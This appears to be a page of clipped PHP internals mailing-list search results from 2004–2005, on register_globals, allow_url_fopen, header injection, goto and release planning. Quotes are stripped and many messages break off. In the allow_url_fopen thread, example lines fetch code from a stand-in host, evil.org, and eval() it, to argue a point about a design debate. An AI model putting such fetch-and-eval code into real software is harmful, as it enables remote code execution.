Any chance a small reproduce script can be provided? I ran a basic
session extension load test with siege with upwards of 100 concurrent
connection and do not see any of the described symptoms.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit:
I've just tried to replicate the problem and it appears to work fine:
$db = sqlite_open(:memory:);
sqlite_exec($db, SELECT ***);
var_dump(sqlite_error_string(sqlite_last_error($db)));
prints SQL logic error or missing database
Ilia
Nuno Lopes wrote:
Hi,
I've made a simple patch to allow a
the feature request:
?
$db = sqlite_open(:memory:);
sqlite_exec($db, SELECT column);
var_dump(sqlite_error_string(sqlite_last_error($db)));
?
prints SQL logic error or missing database, but you don't have a clue
of what error is.
with my patch, you can retrieve the error (in the
Already included, you may have seen this feature used before, ?php :-)
Ilia
Daniel Convissor wrote:
Hi:
It would be nice if PHP could not get tripped up by ?xml tags when
short_tags is on.
http://bugs.php.net/bug.php?id=25987
--Dan
--
PHP Internals - PHP Runtime Development
Derick Rethans wrote:
I implemented that (except I dropped the _ERROR part for
E_RECOVERABLE_ERROR as I found it too long). The patch is here:
http://files.derickrethans.nl/patches/e_fatal-20050825.diff.txt
Any comments?
+1 overall. As much as I like to keep name short, I think the full
To echo Andi's comments on php-src, this should definitely make the
release process much easier as well as help encourage people to upgrade
their PEAR stuff more frequently.
A big thanks to Pierre and Jani for getting this done.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To
register_globals have been deprecated since 4.2 so any modern
application should no rely on them if not for security then at least for
compatibility. Removing register globals would probably halve (if not
more) the number of security exploits (seem to number in 10s per day if
securityfocus stats
If you just want memory access PHP already offers shmop extension for
raw data storage and manipulation as well as sysvshm for storing
serialized variables.
Ilia
Guillaume Ponçon wrote:
Ondrej Ivanič wrote:
pecl/apc has apc_store/apc_fetch:
operations
(without deserialization with each reading).
Thanks for these informations.
Guillaume
Ilia Alshanetsky wrote:
If you just want memory access PHP already offers shmop extension for
raw data storage and manipulation as well as sysvshm for storing
serialized variables.
Ilia
Marcus Boerger wrote:
9. __toString) everywhere, but i already said i'll take care of that unless
i am being held back. So now go for that or live with the fact that php is
meant to generate html pages which is text output. Thus sooner or later your
objects create text simplifying that aas
I thought we've discussed making one access code-units and the other
code-points?
Ilia
Andrei Zmievski wrote:
On Aug 12, 2005, at 11:29 PM, Ilia Alshanetsky wrote:
12. {} vs [] cleanup
unicode support already makes such distinction it.
No, it doesn't. That's one of the thorny
). The colon would be part of the function name,
that's why no performance would be lost.
Regards,
Jessie
Ilia Alshanetsky wrote:
Why would I need name spaces for basic functions, just so that I need to
rename all my code to use str:replace rather then str_replace and
perform 2 hash table
How about we do this:
Add a 3rd optional param to header(), if it is unset we remove
everything from a header that contains \r\n or \n after those chars.
However if the developer feels the need to send multiple headers or what
not they can pass 3rd arg as TRUE and restore the functionality.
Ilia
I am a bit reluctant to remove the old functionality outright, hence
the optional flag. Either way it seems better then what we've got right now.
Ilia
Stefan Esser wrote:
Hello Ilia,
if you look at the implementation of header() you will realise that
sending multiple headers is actually
Derick,
That would not be much different then someone doing
foreach (array_keys($_GET) $v) $_GET[$v] = get_raw(GET, $v);
If anything locating RAW super-global would be easier, making auditing
coding reliant on it a bit simpler.
IMHO.
Derick Rethans wrote:
On Sat, 13 Aug 2005, George
Rasmus Lerdorf wrote:
1. Remove register_globals completely
+1
2. Remove magic_quotes_*
+1
3. Add input filter extension which will include a mechanism for
application developers to very easily turn it off which would swap
the raw GPC arrays back in case the site had it turned on by
This is a very good, point we really should drop support for things like
gd1 (no reason anymore, latest versions (including bundled) have GIF
support). These only add a hundreds of ifdefs to the code or prevent
usage of new(er) functionality.
IMHO we should see what is the lowest possible version
I have a #9 to share, too:
Assuming that PHP 6.0 will also have namespaces support (which would be
cool), it might make sense to move all internal functions to use namespaces
(if they support functions sitting in there - doesn't seem like Jessie's
current patch will, but then, maybe there's a
Jani and Derick have so far done a very good job doing that, I think
just about all uncommon extensions have been migrated. But, if something
was missed moving it to pecl would be a good idea.
Ilia
Michael Wallner wrote:
Rasmus Lerdorf wrote:
[lots of reasonable points]
What about moving
Derick Rethans wrote:
I see it as:
4.4 - no new features, no new additions. Just bugfixes.
5.1 - no new major features, just smaller additions.
6.0 - brand new experimental stuff.
This breakdown looks good, although it'd be nice to quantify just what
kind of smaller additions are acceptable
I got a quick tutorial from Derick :-) on what precisely will be the
affect on the requested functionality and the suggestion makes a whole
lot of sense. As weird declaring virtual properties it seems, there is
really no other alternative for solving the outlined problems in a
consistent manner.
Derick Rethans wrote:
Problems:
1. There is no way to document the 'virtual' properties with any of the existing
documentation tools (such as phpdoc and doxygen)
Rather then adding abstract properties, why not simply document the
possible values inside the doc comments ala:
/**
* @var
I think by making developers having to visit external data sources for
basic information would only make the process more complicated. And that
means people will not do it.
Ilia
Sebastian Bergmann wrote:
Sebastian Bergmann schrieb:
sebastian Sun Jul 31 12:40:49 2005 EDT
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources directly.
What exactly can you do with it other than
Zeev Suraski wrote:
At 04:52 PM 7/28/2005, Ilia Alshanetsky wrote:
It can already be done, disable_functions INI directive.
That won't work, eval() is not a function...
Ah yes, you're right... I guess we do need another INI setting.
Ilia
--
PHP Internals - PHP Runtime Development
Zeev Suraski wrote:
At 04:43 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
3. Introduce allow_remote_streams (effectively allow_url_fopens
renamed, except it doesn't affect include/require)
If this option is disabled, would it simply prevent loading URLs via
various file
sure: eval('file_get_contents(http://evil.org;);');
Ok, but there is nothing (allow_url_fopen does not work here) preventing
me from doing similar via:
$fp = fsockopen(evil.org, 80);
$fp = fwrite($fp, GET /evil_code.txt HTTP/1.0\r\nHost: evil.org\r\n\r\n);
eval(stream_get_contents($fp));
Adam Maccabee Trachtenberg wrote:
I pretty much take it for granted that people are going to need to
fetch the WSDL file from a remote location.
Not to mention do anything useful with it, like run queries :-)
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen
It is not a wrapper specific context option, it'll work with any TCP/IP
socket.
Ilia
Nuno Lopes wrote:
iliaa Mon Jun 13 22:39:43 2005 EDT
Modified files:
/php-src/main network.c php_network.h
/php-src/main/streams xp_socket.c
/php-src/ext/ftp ftp.c
/php-src NEWS
Log:
Added
Pierre-Alain Joye wrote:
The bug #33643 is not what I can call shooting in my own foot.
I'd call that precisely that, I had this happen in my own code a few
times, but looking at the code logically what was being done was clearly
wrong.
There were cases were I fully agree to break BC, but
Since the underlying way of passing internal data would be an object,
the functions you propose may as well be object methods. Aside from that
the API looks good.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
You need to do ./buildconf; configure; make;
Ilia
Derick Rethans wrote:
With the following errors:
gcc -Iext/pdo_sqlite/sqlite/src -DPDO_SQLITE_BUNDLED=1 -DSQLITE_OMIT_CURSOR
-I/dat/dev/php/php-5.1dev/ext -Iext/pdo_sqlite/
-I/dat/dev/php/php-5.1dev/ext/pdo_sqlite/ -DPHP_ATOM_INC
That helps too :-)
Ilia
Derick Rethans wrote:
On Fri, 1 Jul 2005, Ilia Alshanetsky wrote:
You need to do ./buildconf; configure; make;
No, I should have updated the whole tree, not just half of it ;-)
Derick
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe
Andi,
The merge Andrei and Dmitry will be performing will for the most part be
limited to Zend/ main/* and ext/standard/*. IMHO it makes little sense
to lock the entire tree with dozens of modules for features and other
improvements, between 5.1 release and UNICODE merge.
Ilia
--
PHP
IMO disable allow_url_fopen by default is a bad idea as it would break
multitudes of applications that rely on being open URLs via various PHP
functions like getimagesize(), simplexml_load_file(), etc...
I think Stefan's idea of allowing the setting to be disabled by the
script, but not
Stefan Esser wrote:
My idea was a little bit different. I would like to allow disabling and
enabling. Of course enabling only if the vhost setting says that it was
enabled in the first place.
Would that not already be possible by calling ini_restore() ?
Ilia
--
PHP Internals - PHP Runtime
I agree with Derick, it makes much more sense to merge ZE2 bugs into
scripting engine bugs category.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Tony,
It looks like you are missing a check to determine if the headers have
already been sent.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Hi Andi,
The date extension does not appear to have been tagged and consequently
not part of the release.
Ilia
Andi Gutmans wrote:
Hi,
You can reach Beta 2 at http://snaps.php.net/~andi/
If there are no surprise show stoppers I'll put it live tomorrow evening.
Andi
--
PHP Internals -
A large chunk of tests fails because PHP cannot run them, missing DB
connection. This is true for MySQLi tests and PDO_ODBC tests, the latter
requires a patch to prepare.inc, that only IBMers can apply.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit:
+1.
The patch is actually a one liner :)
-ST_IN_SCRIPTINGvar {
+ST_IN_SCRIPTING(var|public) {
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Uh, bzero is standard *nix function that has nothing to do with
libmysql. I will change it to memset since Win32 does not appear to like
it :/
Ilia
Andrey Hristov wrote:
bzero() is a function exported by libmysql.
Andrey
Andi Gutmans wrote:
Seems to be due to Ilia's latest patch.
Ilia,
Why not simply instruct your developers to use the proper host name in
the first place?
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Well, there is an alternative to telling users to change their, code you
can force them to :-)
PHP allows setting of default connection parameters for mysql_connect()
via INI settings and subsequently disabling (turn on SQL safe mode) the
ability to specify them directly.
The ext/MySQL ini
Stanislav Malyshev wrote:
GSI don't think I've ever heard Perl or C maligned on the basis of their
GSsupport for goto. Perhaps I just travel in the wrong circles.
I didn't ever saw any need in Perl goto - except for goto construct which
isn't goto at all. As for C goto - it's usually used as
Stanislav Malyshev wrote:
GSPerl's goto specifically forbids jumping into control structures that
GSrequire intialization (for instance, foreach()). That seems like a
GSsensible limitation to me.
jumping out is no good either.
If jumping in/out of foreach is the only technical problem
Stanislav Malyshev wrote:
finally construct should do that, I think. IMO that's the right solution,
not goto's - and anyway if you allow goto only inside same block, what if
error condition happens inside other block? Are all your functions flat
without control blocks? What if exception
Stanislav Malyshev wrote:
IAMost common solution people choose to emulate exceptions often ends up being
IArecursive functions, those as well know in many instances result in crashes.
Eh? Only case I know when recursion may result in crash is if it's endless
recursion (or recursion for all
Stanislav Malyshev wrote:
IAOk, so you propose that people start using exceptions for OO and
IAprocedural code just because they are there? One major problem with
No, I don't propose that. I am just concerned once you put goto there it
would be abused in all kinds of creative ways and would
Yes, Sara made a patch for it..
http://pecl.org/patches/opcode_goto_5.1.0.diff
I don't know if this is the latest one or not.
+1 for the goto patch in 5.1
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Adam,
Perhaps the mentoring FAQ will give you a clue why, specifically the
What is the role of a mentoring organization? portion. :-)
http://code.google.com/mentfaq.html
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Zeev Suraski wrote:
If it was an issue that everyone and their dog was bumping into, then I
may have thought differently - but it's an issue that is rare enough,
and can be worked around. And those that really need it to be fixed -
can use the patch.
There were a few suspicious bugs that
Parameter removed again. Any complaints to add this patch (lowlevel file
io to streams in sha1_file md5_file) to PHP_5_0 (PHP_4_3 ???), too?
I have no objections to MFHing the path to 4.3.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit:
Andrey Hristov wrote:
Because both functions are in HEAD and still the API is not released
I would appreciate if time_nanosleep() is renamed to nanosleep().
time_sleep_until() emulate a system function but uses it and in this
case maybe the name may stay the same.
To rephrase, if there are no
Marcus Boerger wrote:
i very much dislike that idea because a mysql3 will never be working as
expected. It can never support multiple statements at a time or transactions
or whatnot. Thus i pretty much want something that keeps me from using it
until i am pretty sure i really can live with that.
The PHP Development Team would like to announce the immediate release of
PHP 4.3.11 and 5.0.4. These are maintenance releases that in addition
to fixing over 70 non-critical bugs, address several security issues.
The addressed security issues include fixes to the exif and fbsql
extensions, as
Moriyoshi Koizumi wrote:
Hi,
I modified your patch so it can capture the position where the
supposed data begins into the constant __HALT_PHP_PARSER__.
There may be a problem with my patch if more than one require()'d /
include()'d script contain __HALT_PHP_PARSER__, but it'd be
quite handy if
Hmm.. I was wondering if we should go one step further and also provide
a stream to the data. If the most common usage of this construct is
going to be reading the data after __HALT_PHP_PARSER__ then we should
optimize for that case. Something like
?php
$data =
The attach patch implements a special token ?php HALT; ? that can be
used to stop the Zend lexical parser from parsing any data after this
token.
The idea behind this patch is to allow tucking on of any data (binary
and otherwise) to the PHP script without having to encode it. It also
saves
Would the data after that point be sent directly to STDOUT? Or would the
present script somehow be able to use it?
The data will not be parsed or output. When you need it you would make
the script open itself and read the (binary) data dump from the end of
the file and use it various creative
Daniel Convissor wrote:
Interesting. I'm wondering about the security implications of this.
This makes it very easy to use PHP as a means to propogate all sorts of
nasty things.
You can already use PHP to propagate all sorts of nasty things, nothing
changes in this respect.
Well, people
Sara Golemon wrote:
Just a nudge about this code approach.
#1 It doesn't detect EOF
Well, if you encounter EOF before the HALT tag, it means as a developer
of the script you are trying to break your own code ;-)
#2 It forgets about the newline returned by fgets(
True, I suppose strncmp could
Good point, +1 for revert.
Ilia
Zeev Suraski wrote:
Guys,
I'd like to revert the fix for bug #31672 (/script is not considered
closing tag if preceded by one-line comment). While theoretically
correct, I'd rather resolve it by fixing the docs.
The reason is simple - unlike ? and %, the string
IMHO this is a bit to specialized to be included by default.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
IMO this is something that should be marked as Won't Fix and hope that
by PHP 5.2 we can drop register_globals all together. Heck, perhaps we
can do it for PHP 5.1.
Ilia
Andi Gutmans wrote:
This behavior makes some sort of sense. It happens when register_globals
is on which means you are
Here is a slightly shorter solution to the problem, which hopefully will
prove to be a little bit faster as well.
Ilia
Index: main/main.c
===
RCS file: /repository/php-src/main/main.c,v
retrieving revision 1.512.2.58
diff -u -a
C++ is not PHP and the sooner you realize this the better it will be.
Adding operator overloading will add yet another layer of magic that
will confuse users, who for the most part have demonstrated that they
are not ready for such features. If anything it'll only over complicate
applications
Looking at my code here, it would actually be trivial to expose the raw
data as superglobals, but what do we achieve then? We are simply
renaming $_GET to $_GET_RAW or something like that? If you don't want
any filtering to be done by default, simply don't turn it on.
In many cases it may not
I see no point in introducing this feature which is aimed at solving the
XSS and other related security issues once and for all across all PHP
applications while at the same time providing a completely insecure side
door. Dealing with security issues is a pain in the ass. This pain
doesn't
Jay,
I've noticed that you're still using the ini parser in this new code,
would it not be easier and allow for greater code re-use to use the CSV
database and the underlying fgetcsv code?
Ilia
Jay Smith wrote:
Andi Gutmans wrote:
Hey,
I just heard from Wez that PDO is in very advanced stages
Given that we'd always need to store the raw request data in memory, can
we provide some mechanism of accessing it that does not require a
function call? If working with integer or floating point based data it
is much faster and simpler to just do (int)/(float) cast rather then
executing
Of the common issues that are still unresolved there is also the
apparent breakage of COM as of the new release. I'd like to address that
before moving forward with .11. There are also some issues left with the
strtod compilation, although the majority have been resolved by Jani.
Ilia
Edin
Jochem Maas wrote:
the point
stands that php5 also gets unproductive coverage, and both camps working
together make a much greater force against any FUD.
Any new release that in some situations breaks backwards compatibility
will get some negative press. Ultimately, in successful products a
As long as we retain copies of those releases somewhere (php museum) I
see no reason to keep releases older then 3 versions in the
distributions folder.
Ilia
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
The 4.3.10RC2 was just released. Hopefully it will be the last release
candidate before the final release that will happen within one week if
the RC proves to be stable. This is the last chance to resolve any
critical bugs before 4.3.10, if you are of aware of any such issues now
is the time
I have no objection to removing the Experimental tag from the extension,
in fact I welcome this change.
Ilia
Marcus Boerger wrote:
Hello Christian,
Friday, December 3, 2004, 8:20:33 AM, you wrote:
Ok. There was no real argument against not removing the EXPERIMENTAL tag
and IMHO it isn't
Fixed, thanks for the report.
Ilia
Frank M. Kromann wrote:
Hello Everyone,
Line 100 in zend_strtod.c has a space after the \ at the end of the line.
This breaks the win32 build.
- Frank
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
The error functions do so because they are likely to be called if
creation of a connection fails so there may not always be a valid
resource. The state checking function would presumably be only run on a
valid connection and consequently should be strict about the resource
parameter (IMO).
Same logic is applicable, in the event of failure false or invalid
resource maybe returned.
Ilia
Markus Bertheau wrote:
, 08.11.2004, 16:33, Ilia Alshanetsky :
The error functions do so because they are likely to be called if
creation of a connection fails so there may not always be a valid
On large arrays (Ex. $GLOBALS) this patch seems to have ~10% speed
improvement on PHP 5.
Ilia
Andi Gutmans wrote:
Still behind a bit on my email. Has anyone tested this yet? It would be
cool to commit.
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit:
IMO {-1} syntax is not only faster but simpler to use then the
equivalent substr() (for read) or $a[strlen($a) - 1] (for write). While
my reasons are primarily performance based, I think that most people
would find the {-1} simpler to use as well.
Ilia
Sterling Hughes wrote:
i hope not. this
there is no need for range like $a{-4:2}
Andrey
Ilia Alshanetsky wrote:
IMO {-1} syntax is not only faster but simpler to use then the
equivalent substr() (for read) or $a[strlen($a) - 1] (for write).
While my reasons are primarily performance based, I think that most
people would find the {-1} simpler to use
Derick Rethans wrote:
- Adding new language constructs in mini releases is IMO not the way to
go as it will make it possible impossible to run script that use this
new construct not even parse on PHP 5.0.x servers. Adding normal new
functions does not have this problem of course, as those
that could do $p-- or $p++
echo $a{$p};
}
at present that would produce a nice error if you went 0.. easy to
spot.. - if -ve was supported it could do unexpected stuff..
Regards
Alan
Ilia Alshanetsky wrote:
I am wondering what are people's opinions on adding support for
negative string
Andrey Hristov wrote:
Andy mentioned that he tried in the past to separate {} and [] but after
some unsuccess he left the idea of separating. So, the patch definitely
won't be 2-3 lines of code.
I am well aware that at this point PHP has no separation between [] and
{} as far as string offsets
I am wondering what are people's opinions on adding support for negative
string offsets that could be used to access data from the end of a string.
Ex. $a = 123; echo $a[-1]; // would print 3
I don't think we should do this for arrays, since -1 and similar are
valid array keys, which means
Sure, I have no operator preference.
Ilia
Sterling Hughes wrote:
why not add it with the {} operators then?
-sterling
On Fri, 29 Oct 2004 15:07:05 -0400, Ilia Alshanetsky [EMAIL PROTECTED] wrote:
I am wondering what are people's opinions on adding support for negative
string offsets that could
Derick Rethans wrote:
How can you *need* this, you can use substr() just fine.
Almost no peace of functionality in PHP in unique, some extensions
duplicate core/standard functionality and vice versa. Usually the core
offers a simpler access to a resource and full pledged extensions
gives the
Joe Orton wrote:
Then consider this your official wake-up call :)
LOL. I use Apache 1.3 and found it to work way better then 2.0. 2.0 does
not offer any useful improvements over the 1.3 base, so why switch? If
anything in my personal experience 1.3 works way better then 2.0 with PHP.
Ilia
--
As of PHP 5.1, the request start time is stored by PHP inside the sapi
structure. This data is populated by the information offered by the SAPI
(Apache sapis populate it) otherwise time(0) is used to get the same data.
This means that PHP has a free unix timestamp that tells information
about
Derick Rethans wrote:
For that the granularity is not good enough though.
Ideally we'd have gettimeofday() cached, but looking @ the code it is
called on by lcg code and then only on MINIT. So we'd need an extra
syscall to provide this, I am not sure this is a good idea.
Ilia
P.S. I didn't
Very interesting numbers, I'd like to second Marcus' request for a 4.3
benchmark.
I was somewhat surprised by O2 and O1 being slower then Os, while O3 in
some cases may end over optimizing which would it explain it's poor
showing. However, it could be that it makes simple situations slower,
Here is the proposed 4.3.9 release announcement.
PHP Development Team is proud to announce the immediate release of PHP
4.3.9.
This is a maintenance release that in addition to over 50 non-critical
bug fixes, addresses a problem
with GPC input processing. This release also re-introduces ability
The final release candidate of PHP 4.3.9 is now available for testing. Hf no
new problems are uncovered, this release will be re-released as 4.3.9 at the
end of the week. If you have any patches (4.X tree) for non-critical problems
please hold them off either until we decide that another RC is
The final release candidate of PHP 4.3.9 is now available for testing. Hf no
new problems are uncovered, this release will be re-released as 4.3.9 at the
end of the week. If you have any patches (4.X tree) for non-critical problems
please hold them off either until we decide that another RC is
On August 27, 2004 03:26 am, Zeev Suraski wrote:
Me too.
I would like to get some feedback about my suggestion to move away from the
simple 'experimental' status and dividing it into two - quality rating, and
'API subject to change' tagging. Does this make sense to anybody else?
As long as
On August 27, 2004 11:31 am, Hartmut Holzgraefe wrote:
Derick Rethans wrote:
Aren't PECL package version numbers already providing this?
But not everything is in PECL :)
any bundled extensions that are still EXPERIMENTAL should
move to PECL anyway IMHO
+1
Ilia
--
PHP Internals - PHP
On August 25, 2004 08:32 pm, Naik, Roshan wrote:
And exactly how long is it expected to continue to stay EXPERIMENTAL
?
The response was a predictable one, expressing indifference...
Between 15 days and 15 months
I'm afraid Derick's response was somewhat incorrect. Here is a more
On August 24, 2004 09:10 am, Adam Q wrote:
Could we have SQLite DB creation option that creates the DB with a
header that begins ?php? (SQLite DBs are close to normal text in the
first 20 chars anyway... ) - either way, I'm going to do some testing
of Ilia's create table option and see if I
What compiler flags are you using that you see this warning message? I do not
see on the local build here.
Ilia
On August 24, 2004 10:53 am, Joe Orton wrote:
If casting pointers to integers at least cast to a long, to avoid
compiler warnings:
--- Zend/zend_compile.c 23 Aug 2004
701 - 800 of 978 matches
Mail list logo
